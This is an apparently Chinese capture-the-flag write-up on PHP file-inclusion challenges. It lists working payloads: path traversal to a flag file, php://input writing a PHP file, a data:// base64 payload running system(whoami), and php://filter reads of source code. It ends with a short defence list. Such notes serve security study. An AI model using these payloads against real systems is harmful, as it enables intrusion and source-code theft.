第三题【极客大挑战 Have Fun】
在Linux系统的include后面第一次发现“/”,那么前面的内容自动失效,从这个之后开始包含。(../不算)
payload
/source.php?file=hint.php?/../../../../ffffllllaaaagggg
第四题【ACTF2020 新生赛 Include】
php://input
用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。
条件:
php < 5.0,allow_url_include=Off 情况下也可以用
php > 5.0,只有在allow_url_fopen=On 时才能使用。
例:
http://localhost/include/file.php?file=php://input //URL
<?php fputs(fopen("a.php","w"),"<?php phpinfo();?>")?> //POST,创建一个文件a.php;并写入phpinfo
data://
将原来的include的文件流重定向到了用户可控制的输入流中
条件:
allow_url_include=On
php > 5.2
例:
http://localhost/file.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg== //base64加密<?php system(whoami);?>;直接执行命令
http://localhost/image.php?imagedata=data://image/jpeg;base64,..... // 后面加上图片木马;图片命令执行
php://filter
这个语句用来查看源码,直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过。
例:
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneword
//可以跟绝对路径也可以跟相对路径
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/2.txt //远程路径
防御:
尽量使用安全版本的php
做好php的安全配置
对相应目录做相应权限设置
payload
?file=php://filter/read=convert.base64-encode/resource=flag.php